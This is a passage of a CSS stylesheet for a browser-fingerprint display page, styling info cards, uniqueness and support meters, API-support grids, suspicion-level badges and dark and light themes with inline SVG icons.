    "content": "/* Fingerprint Window Styles */\n.fingerprint-section {\n    padding: 4rem 0;\n}\n\n.fingerprint-container {\n    width: 100%;\n    max-width: 1000px;\n    margin: 0 auto;\n    border-radius: 0.5rem;\n    overflow: hidden;\n    box-shadow: 0 10px 25px -5px rgba(0, 0, 0, 0.2), 0 5px 10px -5px rgba(0, 0, 0, 0.1);\n    display: flex;\n    flex-direction: column;\n    transition: all 0.3s cubic-bezier(0.17, 0.67, 0.83, 0.67);\n}\n\n.light-mode .fingerprint-container {\n    background-color: #f8fafc;\n    border: 1px solid #e2e8f0;\n}\n\n.dark-mode .fingerprint-container {\n    background-color: #1e293b;\n    border: 1px solid #334155;\n}\n\n.fingerprint-container.maximized {\n    position: fixed;\n    top: 10%;\n    left: 5%;\n    width: 90%;\n    height: 80%;\n    z-index: 100;\n    max-width: none;\n}\n\n.fingerprint-header {\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    padding: 0.75rem 1rem;\n    border-bottom: 1px solid;\n}\n\n.light-mode .fingerprint-header {\n    background: linear-gradient(to bottom, #f0f9ff, #e6f7ff);\n    border-bottom-color: #e2e8f0;\n}\n\n.dark-mode .fingerprint-header {\n    background: linear-gradient(to bottom, #1e293b, #0f172a);\n    border-bottom-color: #334155;\n}\n\n.fingerprint-title {\n    font-family: 'Consolas', 'Liberation Mono', monospace;\n    font-size: 0.9rem;\n    font-weight: 500;\n    display: flex;\n    align-items: center;\n    gap: 0.5rem;\n}\n\n.fingerprint-title .windows-icon {\n    width: 16px;\n    height: 16px;\n}\n\n.window-controls {\n    display: flex;\n    gap: 0.5rem;\n}\n\n.window-control {\n    width: 12px;\n    height: 12px;\n    border-radius: 50%;\n    cursor: pointer;\n    transition: all 0.2s ease;\n}\n\n.window-control.minimize {\n    background-color: #ffbd2e;\n}\n\n.window-control.maximize {\n    background-color: #28c940;\n}\n\n.window-control.close {\n    background-color: #ff5f56;\n}\n\n.window-control:hover {\n    filter: brightness(1.1);\n}\n\n.fingerprint-window {\n    flex: 1;\n    overflow: hidden;\n    transition: all 0.3s ease;\n}\n\n.fingerprint-window.minimized {\n    height: 0;\n}\n\n.fingerprint-toolbar {\n    display: flex;\n    padding: 0.5rem;\n    gap: 0.25rem;\n    border-bottom: 1px solid;\n}\n\n.light-mode .fingerprint-toolbar {\n    background-color: #edf2f7;\n    border-bottom-color: #e2e8f0;\n}\n\n.dark-mode .fingerprint-toolbar {\n    background-color: #1a202c;\n    border-bottom-color: #2d3748;\n}\n\n.toolbar-button {\n    padding: 0.5rem 1rem;\n    font-size: 0.9rem;\n    border-radius: 0.25rem;\n    cursor: pointer;\n    transition: all 0.2s ease;\n}\n\n.light-mode .toolbar-button {\n    color: #1a202c;\n}\n\n.dark-mode .toolbar-button {\n    color: #e2e8f0;\n}\n\n.light-mode .toolbar-button:hover:not(.active) {\n    background-color: #e2e8f0;\n}\n\n.dark-mode .toolbar-button:hover:not(.active) {\n    background-color: #2d3748;\n}\n\n.light-mode .toolbar-button.active {\n    background-color: #4299e1;\n    color: white;\n    font-weight: 500;\n}\n\n.dark-mode .toolbar-button.active {\n    background-color: #4299e1;\n    color: white;\n    font-weight: 500;\n}\n\n.fingerprint-content {\n    padding: 1.5rem;\n    height: 600px; /* Фиксированная высота для стабильности */\n    overflow-y: auto;\n}\n\n/* Loading scanner animation */\n.loading-scanner {\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    justify-content: center;\n    padding: 3rem 0;\n}\n\n.scanner-animation {\n    width: 100px;\n    height: 100px;\n    margin-bottom: 1.5rem;\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"100\" height=\"100\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"3\" y=\"3\" width=\"18\" height=\"18\" rx=\"2\"/><path d=\"M8 10V8h2\"/><path d=\"M8 14v2h2\"/><path d=\"M16 10V8h-2\"/><path d=\"M16 14v2h-2\"/><line x1=\"3\" y1=\"12\" x2=\"21\" y2=\"12\"/><line x1=\"12\" y1=\"3\" x2=\"12\" y2=\"21\"/></svg>');\n    background-size: contain;\n    background-repeat: no-repeat;\n    background-position: center;\n    animation: scan 2s infinite ease-in-out;\n}\n\n@keyframes scan {\n    0% {\n        transform: scale(1);\n        opacity: 0.5;\n    }\n    50% {\n        transform: scale(1.1);\n        opacity: 1;\n    }\n    100% {\n        transform: scale(1);\n        opacity: 0.5;\n    }\n}\n\n.scanner-text {\n    font-size: 1.1rem;\n    font-weight: 500;\n    margin-top: 1rem;\n}\n\n/* Fingerprint Data Display */\n.fingerprint-section-title {\n    font-size: 1.5rem;\n    font-weight: 600;\n    margin-bottom: 1.5rem;\n    text-align: center;\n}\n\n.fingerprint-card {\n    background-color: rgba(255, 255, 255, 0.05);\n    border-radius: 0.5rem;\n    padding: 1.25rem;\n    margin-bottom: 1.5rem;\n    border: 1px solid;\n}\n\n.light-mode .fingerprint-card {\n    background-color: white;\n    border-color: #e2e8f0;\n    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);\n}\n\n.dark-mode .fingerprint-card {\n    background-color: #1a202c;\n    border-color: #2d3748;\n    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);\n}\n\n.fingerprint-card.main-fp {\n    display: flex;\n    align-items: center;\n    justify-content: space-between;\n    padding: 1.5rem;\n}\n\n.fingerprint-hash {\n    font-family: 'Consolas', 'Liberation Mono', monospace;\n    font-size: 1.2rem;\n    letter-spacing: 0.05rem;\n    padding: 0.75rem 1rem;\n    background-color: rgba(0, 0, 0, 0.05);\n    border-radius: 0.5rem;\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    max-width: 80%;\n}\n\n.light-mode .fingerprint-hash {\n    background-color: #edf2f7;\n    color: #2d3748;\n}\n\n.dark-mode .fingerprint-hash {\n    background-color: #2d3748;\n    color: #e2e8f0;\n}\n\n.device-type-icon {\n    width: 48px;\n    height: 48px;\n    background-size: contain;\n    background-repeat: no-repeat;\n    background-position: center;\n}\n\n.device-type-icon.desktop {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"2\" y=\"3\" width=\"20\" height=\"14\" rx=\"2\"/><line x1=\"8\" y1=\"21\" x2=\"16\" y2=\"21\"/><line x1=\"12\" y1=\"17\" x2=\"12\" y2=\"21\"/></svg>');\n}\n\n.device-type-icon.mobile {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"7\" y=\"4\" width=\"10\" height=\"16\" rx=\"2\" ry=\"2\"/><path d=\"M12 18h.01\"/></svg>');\n}\n\n.device-type-icon.tablet {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"4\" y=\"2\" width=\"16\" height=\"20\" rx=\"2\" ry=\"2\"/><line x1=\"12\" y1=\"18\" x2=\"12\" y2=\"18.01\"/></svg>');\n}\n\n.fingerprint-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));\n    gap: 1.5rem;\n    margin-bottom: 1.5rem;\n}\n\n.card-title {\n    font-size: 1.1rem;\n    font-weight: 600;\n    margin-bottom: 1rem;\n    padding-bottom: 0.5rem;\n    border-bottom: 1px solid;\n    display: flex;\n    align-items: center;\n    gap: 0.5rem;\n}\n\n.light-mode .card-title {\n    border-bottom-color: #edf2f7;\n}\n\n.dark-mode .card-title {\n    border-bottom-color: #2d3748;\n}\n\n.card-icon {\n    width: 20px;\n    height: 20px;\n    background-size: contain;\n    background-repeat: no-repeat;\n    background-position: center;\n}\n\n.card-icon.browser {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><circle cx=\"12\" cy=\"12\" r=\"10\"/><line x1=\"2\" y1=\"12\" x2=\"22\" y2=\"12\"/><path d=\"M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z\"/></svg>');\n}\n\n.card-icon.os {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"4\" y=\"4\" width=\"16\" height=\"16\" rx=\"2\" ry=\"2\"/><rect x=\"9\" y=\"9\" width=\"6\" height=\"6\"/><line x1=\"9\" y1=\"2\" x2=\"9\" y2=\"4\"/><line x1=\"15\" y1=\"2\" x2=\"15\" y2=\"4\"/><line x1=\"9\" y1=\"20\" x2=\"9\" y2=\"22\"/><line x1=\"15\" y1=\"20\" x2=\"15\" y2=\"22\"/><line x1=\"20\" y1=\"9\" x2=\"22\" y2=\"9\"/><line x1=\"20\" y1=\"14\" x2=\"22\" y2=\"14\"/><line x1=\"2\" y1=\"9\" x2=\"4\" y2=\"9\"/><line x1=\"2\" y1=\"14\" x2=\"4\" y2=\"14\"/></svg>');\n}\n\n.card-icon.display {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"2\" y=\"3\" width=\"20\" height=\"14\" rx=\"2\" ry=\"2\"/><line x1=\"8\" y1=\"21\" x2=\"16\" y2=\"21\"/><line x1=\"12\" y1=\"17\" x2=\"12\" y2=\"21\"/></svg>');\n}\n\n.card-icon.privacy {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z\"/></svg>');\n}\n\n.info-row {\n    display: flex;\n    justify-content: space-between;\n    padding: 0.5rem 0;\n    font-size: 0.95rem;\n}\n\n.info-row:not(:last-child) {\n    border-bottom: 1px solid;\n}\n\n.light-mode .info-row:not(:last-child) {\n    border-bottom-color: #f7fafc;\n}\n\n.dark-mode .info-row:not(:last-child) {\n    border-bottom-color: #2c3950;\n}\n\n.info-label {\n    font-weight: 500;\n    opacity: 0.8;\n}\n\n.info-value {\n    font-family: 'Consolas', 'Liberation Mono', monospace;\n}\n\n.fingerprint-footer {\n    margin-top: 2rem;\n    text-align: center;\n}\n\n.uniqueness-meter {\n    margin-bottom: 1rem;\n}\n\n.meter-label {\n    font-size: 1rem;\n    font-weight: 500;\n    margin-bottom: 0.5rem;\n}\n\n.meter-bar {\n    height: 8px;\n    background-color: rgba(0, 0, 0, 0.1);\n    border-radius: 4px;\n    overflow: hidden;\n    width: 100%;\n    max-width: 400px;\n    margin: 0 auto 0.5rem;\n}\n\n.meter-fill {\n    height: 100%;\n    background: linear-gradient(to right, #38b2ac, #4299e1);\n    border-radius: 4px;\n}\n\n.meter-value {\n    font-size: 0.9rem;\n    font-weight: 600;\n    color: #4299e1;\n}\n\n.fingerprint-note {\n    font-size: 0.9rem;\n    opacity: 0.8;\n    max-width: 600px;\n    margin: 0 auto;\n}\n\n/* Browser Information Tab */\n.browser-header,\n.system-header,\n.network-header {\n    display: flex;\n    align-items: center;\n    gap: 1.5rem;\n    margin-bottom: 2rem;\n    padding: 1.5rem;\n    border-radius: 0.5rem;\n}\n\n.light-mode .browser-header,\n.light-mode .system-header,\n.light-mode .network-header {\n    background-color: white;\n    border: 1px solid #e2e8f0;\n    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);\n}\n\n.dark-mode .browser-header,\n.dark-mode .system-header,\n.dark-mode .network-header {\n    background-color: #1a202c;\n    border: 1px solid #2d3748;\n    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);\n}\n\n.browser-icon,\n.system-icon,\n.network-icon {\n    width: 48px;\n    height: 48px;\n    background-size: contain;\n    background-repeat: no-repeat;\n    background-position: center;\n}\n\n/* Default browser icon */\n.browser-icon {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><circle cx=\"12\" cy=\"12\" r=\"10\"/><line x1=\"2\" y1=\"12\" x2=\"22\" y2=\"12\"/><path d=\"M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z\"/></svg>');\n}\n\n.browser-icon.chrome {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\"><path fill=\"%234299e1\" d=\"M12 20.1c-4.47 0-8.1-3.63-8.1-8.1S7.53 3.9 12 3.9s8.1 3.63 8.1 8.1-3.63 8.1-8.1 8.1zm0-18C6.48 2.1 2.1 6.48 2.1 12c0 5.52 4.38 9.9 9.9 9.9 5.52 0 9.9-4.38 9.9-9.9 0-5.52-4.38-9.9-9.9-9.9zm0 16.2c-3.42 0-6.2-2.78-6.2-6.2s2.78-6.2 6.2-6.2 6.2 2.78 6.2 6.2-2.78 6.2-6.2 6.2zm0-10.7c-2.48 0-4.5 2.02-4.5 4.5s2.02 4.5 4.5 4.5 4.5-2.02 4.5-4.5-2.02-4.5-4.5-4.5z\"/></svg>');\n}\n\n.browser-icon.firefox {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\"><path fill=\"%234299e1\" d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm-5.5-2.5l7.51-3.49L17.5 6.5 9.99 9.99 6.5 17.5zm5.5-6.6a1.1 1.1 0 1 0 0-2.2 1.1 1.1 0 0 0 0 2.2z\"/></svg>');\n}\n\n.system-icon {\n    background-image: url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"%234299e1\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"4\" y=\"4\" width=\"16\" height=\"16\" rx=\"2\" ry=\"2\"/><rect x=\"9\" y=\"9\" width=\"6\" height=\"6\"/><line x1=\"9\" y1=\"2\" x2=\"9\" y2=\"4\"/><line x1=\"15\" y1=\"2\" x2=\"15\" y2=\"4\"/><line x1=\"9\" y1=\"20\" x2=\"9\" y2=\"22\"/><line x1=\"15\" y1=\"20\" x2=\"15\" y2=\"22\"/><line x1=\"20\" y1=\"9\" x2=\"22\" y2=\"9\"/><line x1=\"20\" y1=\"14\" x2=\"22\" y2=\"14\"/><line x1=\"2\" y1=\"9\" x2=\"4\" y2=\"9\"/><line x1=\"2\" y1=\"14\" x2=\"4\" y2=\"14\"/></svg>');\n}\n\n.fingerprint-details-section {\n    margin-bottom: 2rem;\n    padding: 1.5rem;\n    border-radius: 0.5rem;\n}\n\n.light-mode .fingerprint-details-section {\n    background-color: white;\n    border: 1px solid #e2e8f0;\n    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);\n}\n\n.dark-mode .fingerprint-details-section {\n    background-color: #1a202c;\n    border: 1px solid #2d3748;\n    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);\n}\n\n.details-title {\n    font-size: 1.2rem;\n    font-weight: 600;\n    margin-bottom: 1rem;\n    padding-bottom: 0.5rem;\n    border-bottom: 1px solid;\n}\n\n.light-mode .details-title {\n    border-bottom-color: #edf2f7;\n}\n\n.dark-mode .details-title {\n    border-bottom-color: #2d3748;\n}\n\n.details-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));\n    gap: 1rem;\n}\n\n.details-grid .full-width {\n    grid-column: 1 / -1;\n}\n\n/* Feature Support Styles */\n.support-meter {\n    height: 12px;\n    background-color: rgba(0, 0, 0, 0.1);\n    border-radius: 6px;\n    margin: 1rem 0;\n    position: relative;\n    overflow: hidden;\n}\n\n.dark-mode .support-meter {\n    background-color: rgba(255, 255, 255, 0.1);\n}\n\n.support-meter-fill {\n    height: 100%;\n    border-radius: 6px;\n    transition: width 1s cubic-bezier(0.22, 1, 0.36, 1);\n    background-color: #10b981; /* Green */\n}\n\n.support-meter-text {\n    position: absolute;\n    top: 50%;\n    left: 50%;\n    transform: translate(-50%, -50%);\n    font-weight: bold;\n    font-size: 0.8rem;\n    color: rgba(0, 0, 0, 0.7);\n    text-shadow: 0 0 2px rgba(255, 255, 255, 0.5);\n}\n\n.dark-mode .support-meter-text {\n    color: rgba(255, 255, 255, 0.9);\n    text-shadow: 0 0 2px rgba(0, 0, 0, 0.5);\n}\n\n/* === Feature Category Styling === */\n.feature-category {\n    margin-bottom: 2.5rem;\n}\n\n.category-title {\n    font-weight: 600;\n    font-size: 1.15rem;\n    margin-bottom: 1.25rem;\n    padding-bottom: 0.5rem;\n    border-bottom: 1px solid;\n    position: relative;\n}\n\n.light-mode .category-title {\n    border-color: rgba(0, 0, 0, 0.08);\n    color: #1e293b;\n}\n\n.dark-mode .category-title {\n    border-color: rgba(255, 255, 255, 0.08);\n    color: #f1f5f9;\n}\n\n.category-features {\n    display: grid;\n    grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));\n    gap: 1rem;\n}\n\n/* === Feature Item Cards === */\n.feature-item {\n    position: relative;\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    text-align: center;\n    padding: 1.75rem 1rem;\n    border-radius: 0.75rem;\n    transition: all 0.3s ease;\n    border: 1px solid transparent;\n    height: 100%;\n}\n\n.light-mode .feature-item {\n    background-color: rgba(249, 250, 251, 0.8);\n    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);\n}\n\n.dark-mode .feature-item {\n    background-color: rgba(17, 24, 39, 0.6);\n    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);\n}\n\n.light-mode .feature-item:hover {\n    background-color: rgba(255, 255, 255, 1);\n    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.08);\n    transform: translateY(-3px);\n}\n\n.dark-mode .feature-item:hover {\n    background-color: rgba(17, 24, 39, 0.8);\n    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.25);\n    transform: translateY(-3px);\n}\n\n.light-mode .feature-item.supported {\n    border-color: rgba(16, 185, 129, 0.15);\n}\n\n.light-mode .feature-item.not-supported {\n    border-color: rgba(239, 68, 68, 0.15);\n}\n\n.dark-mode .feature-item.supported {\n    border-color: rgba(16, 185, 129, 0.2);\n}\n\n.dark-mode .feature-item.not-supported {\n    border-color: rgba(239, 68, 68, 0.2);\n}\n\n/* === Feature Status Indicator === */\n.feature-status-icon {\n    width: 40px;\n    height: 40px;\n    border-radius: 50%;\n    margin-bottom: 1.25rem;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    position: relative;\n    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.15);\n    transition: all 0.3s ease;\n}\n\n.feature-item.supported .feature-status-icon {\n    background-color: #10b981;\n    border: 1px solid rgba(16, 185, 129, 0.6);\n}\n\n.feature-item.not-supported .feature-status-icon {\n    background-color: #ef4444;\n    border: 1px solid rgba(239, 68, 68, 0.6);\n}\n\n.feature-item.supported .feature-status-icon::before {\n    content: '✓';\n    color: white;\n    font-size: 1.25rem;\n    font-weight: bold;\n    position: absolute;\n    top: 50%;\n    left: 50%;\n    transform: translate(-50%, -50%);\n    text-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);\n}\n\n.feature-item.not-supported .feature-status-icon::before {\n    content: '×';\n    color: white;\n    font-size: 1.75rem;\n    font-weight: bold;\n    position: absolute;\n    top: 47%;\n    left: 50%;\n    transform: translate(-50%, -50%);\n    text-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);\n}\n\n.feature-name {\n    font-size: 1rem;\n    font-weight: 500;\n    margin-bottom: 0.75rem;\n    line-height: 1.4;\n}\n\n.feature-status {\n    font-size: 0.875rem;\n    padding: 0.35rem 0.75rem;\n    border-radius: 20px;\n    font-weight: 500;\n    margin-top: auto;\n}\n\n.feature-item.supported .feature-status {\n    background-color: rgba(16, 185, 129, 0.1);\n    color: #10b981;\n    border: 1px solid rgba(16, 185, 129, 0.3);\n}\n\n.feature-item.not-supported .feature-status {\n    background-color: rgba(239, 68, 68, 0.1);\n    color: #ef4444;\n    border: 1px solid rgba(239, 68, 68, 0.3);\n}\n\n.dark-mode .feature-item.supported .feature-status {\n    background-color: rgba(16, 185, 129, 0.2);\n    color: #34d399;\n    border-color: rgba(16, 185, 129, 0.4);\n}\n\n.dark-mode .feature-item.not-supported .feature-status {\n    background-color: rgba(239, 68, 68, 0.2);\n    color: #f87171;\n    border-color: rgba(239, 68, 68, 0.4);\n}\n\n/* === Suspicion Level Card === */\n.suspicion-card {\n    background-color: rgba(17, 24, 39, 0.5);\n    border-radius: 12px;\n    padding: 20px;\n    margin-bottom: 2rem;\n    border-left: 4px solid;\n    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);\n}\n\n.light-mode .suspicion-card {\n    background-color: rgba(249, 250, 251, 0.8);\n    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.06);\n}\n\n.suspicion-none {\n    border-color: #10b981;\n}\n\n.suspicion-low {\n    border-color: #60a5fa;\n}\n\n.suspicion-medium {\n    border-color: #f59e0b;\n}\n\n.suspicion-high {\n    border-color: #ef4444;\n}\n\n.suspicion-header {\n    display: flex;\n    align-items: center;\n    justify-content: space-between;\n    margin-bottom: 15px;\n}\n\n.suspicion-title {\n    font-size: 1.1rem;\n    font-weight: 600;\n}\n\n.suspicion-badge {\n    display: inline-block;\n    padding: 5px 12px;\n    border-radius: 20px;\n    font-size: 0.875rem;\n    font-weight: 500;\n}\n\n.suspicion-none .suspicion-badge {\n    background-color: rgba(16, 185, 129, 0.15);\n    color: #10b981;\n    border: 1px solid rgba(16, 185, 129, 0.3);\n}\n\n.suspicion-low .suspicion-badge {\n    background-color: rgba(96, 165, 250, 0.15);\n    color: #3b82f6;\n    border: 1px solid rgba(96, 165, 250, 0.3);\n}\n\n.suspicion-medium .suspicion-badge {\n    background-color: rgba(245, 158, 11, 0.15);\n    color: #f59e0b;\n    border: 1px solid rgba(245, 158, 11, 0.3);\n}\n\n.suspicion-high .suspicion-badge {\n    background-color: rgba(239, 68, 68, 0.15);\n    color: #ef4444;\n    border: 1px solid rgba(239, 68, 68, 0.3);\n}\n\n.dark-mode .suspicion-none .suspicion-badge {\n    background-color: rgba(16, 185, 129, 0.2);\n    color: #34d399;\n    border-color: rgba(16, 185, 129, 0.4);\n}\n\n.dark-mode .suspicion-low .suspicion-badge {\n    background-color: rgba(96, 165, 250, 0.2);\n    color: #60a5fa;\n    border-color: rgba(96, 165, 250, 0.4);\n}\n\n.dark-mode .suspicion-medium .suspicion-badge {\n    background-color: rgba(245, 158, 11, 0.2);\n    color: #fbbf24;\n    border-color: rgba(245, 158, 11, 0.4);\n}\n\n.dark-mode .suspicion-high .suspicion-badge {\n    background-color: rgba(239, 68, 68, 0.2);\n    color: #f87171;\n    border-color: rgba(239, 68, 68, 0.4);\n}\n\n.suspicion-content ul {\n    list-style-type: none;\n    padding-left: 0;\n    margin: 0;\n}\n\n.suspicion-content li {\n    position: relative;\n    padding: 8px 0 8px 22px;\n    font-size: 0.95rem;\n}\n\n.suspicion-content li:before {\n    content: \"•\";\n    position: absolute;\n    left: 8px;\n    color: #60a5fa;\n    font-weight: bold;\n}\n\n.light-mode .suspicion-content li:before {\n    color: #3b82f6;\n}\n\n.dark-mode .suspicion-content li:before {\n    color: #60a5fa;\n}\n\n/* === Responsive Styles === */\n@media (max-width: 768px) {\n    .fingerprint-card.main-fp {\n        flex-direction: column;\n        gap: 1rem;\n        text-align: center;\n    }\n    \n    .fingerprint-hash {\n        max-width: 100%;\n    }\n    \n    .fingerprint-grid {\n        grid-template-columns: 1fr;\n    }\n    \n    .browser-header,\n    .system-header,\n    .network-header {\n        flex-direction: column;\n        text-align: center;\n        gap: 1rem;\n    }\n    \n    .browser-title,\n    .system-title,\n    .network-title {\n        width: 100%;\n    }\n    \n    .details-grid {\n        grid-template-columns: 1fr;\n    }\n    \n    .category-features {\n        grid-template-columns: 1fr;\n    }\n    \n    .suspicion-header {\n        flex-direction: column;\n        align-items: flex-start;\n        gap: 10px;\n    }\n    \n    .suspicion-badge {\n        margin-top: 5px;\n    }\n}\n\n/* === API Support Grid === */\n.api-capabilities-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fill, minmax(140px, 1fr));\n    gap: 1.25rem;\n    margin-top: 1.5rem;\n}\n\n.api-item {\n    position: relative;\n    padding: 1.5rem 1rem;\n    border-radius: 12px;\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    text-align: center;\n    transition: transform 0.2s ease, box-shadow 0.2s ease;\n    overflow: hidden;\n    transform-origin: center;\n    will-change: transform, box-shadow;\n}\n\n.api-item::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: -1;\n    opacity: 0.1;\n    transition: opacity 0.2s ease;\n    will-change: opacity;\n}\n\n.api-item.supported::before {\n    background: linear-gradient(135deg, #34d399 0%, #10b981 100%);\n}\n\n.api-item.unsupported::before {\n    background: linear-gradient(135deg, #f87171 0%, #ef4444 100%);\n    opacity: 0.05;\n}\n\n.light-mode .api-item {\n    background: #ffffff;\n    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);\n    border: 1px solid rgba(0, 0, 0, 0.06);\n}\n\n.dark-mode .api-item {\n    background: rgba(30, 41, 59, 0.5);\n    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2);\n    border: 1px solid rgba(255, 255, 255, 0.05);\n}\n\n.api-item:hover {\n    transform: translateY(-3px);\n    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);\n    z-index: 1;\n}\n\n.api-item.supported:hover::before {\n    opacity: 0.15;\n}\n\n.api-item.unsupported:hover::before {\n    opacity: 0.08;\n}\n\n.dark-mode .api-item:hover {\n    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.25);\n}\n\n.api-item:hover .api-icon {\n    transform: scale(1.1);\n}\n\n.api-item.supported {\n    border-top: 3px solid #10b981;\n}\n\n.api-item.unsupported {\n    border-top: 3px solid #ef4444;\n}\n\n.api-icon {\n    width: 32px;\n    height: 32px;\n    margin-bottom: 0.75rem;\n    position: relative;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    transition: transform 0.2s ease;\n    will-change: transform;\n}\n\n.api-icon::before {\n    content: '';\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    background-position: center;\n    background-repeat: no-repeat;\n    background-size: contain;\n    opacity: 0.85;\n}\n\n.api-item.supported .api-icon::before {\n    filter: grayscale(0%);\n}\n\n.api-item.unsupported .api-icon::before {\n    filter: grayscale(100%);\n    opacity: 0.5;\n}\n\n.api-name {\n    font-size: 0.875rem;\n    font-weight: 600;\n    color: inherit;\n}\n\n.api-item.supported .api-name {\n    color: #10b981;\n}\n\n.api-item.unsupported .api-name {\n    color: #9ca3af;\n}\n\n.dark-mode .api-item.supported .api-name {\n    color: #34d399;\n}\n\n.dark-mode .api-item.unsupported .api-name {\n    color: #6b7280;\n}\n\n/* API Icons */\n.bluetooth-icon::before { content: \"🔵\"; }\n.geo-icon::before { content: \"📍\"; }\n.rtc-icon::before { content: \"📱\"; }\n.credential-icon::before { content: \"🔑\"; }\n.usb-icon::before { content: \"🔌\"; }\n.serial-icon::before { content: \"🔄\"; }\n.gamepad-icon::before { content: \"🎮\"; }\n.vibration-icon::before { content: \"📳\"; }\n.payment-icon::before { content: \"💳\"; }\n.share-icon::before { content: \"📤\"; }\n.push-icon::before { content: \"🔔\"; }\n.notifications-icon::before { content: \"📢\"; }\n.media-icon::before { content: \"📷\"; }\n.speech-icon::before { content: \"🎤\"; }\n.worker-icon::before { content: \"⚙️\"; }\n.service-icon::before { content: \"🔨\"; }\n.webgl-icon::before { content: \"🎨\"; }\n.webgl2-icon::before { content: \"🖼️\"; }\n.webvr-icon::before { content: \"👓\"; }\n.webxr-icon::before { content: \"🥽\"; }\n.audio-icon::before { content: \"🔊\"; }\n\n/* Supporting styles */\n.api-support-card {\n    overflow: visible;\n}\n\n@media (max-width: 768px) {\n    .api-capabilities-grid {\n        grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));\n        gap: 1rem;\n    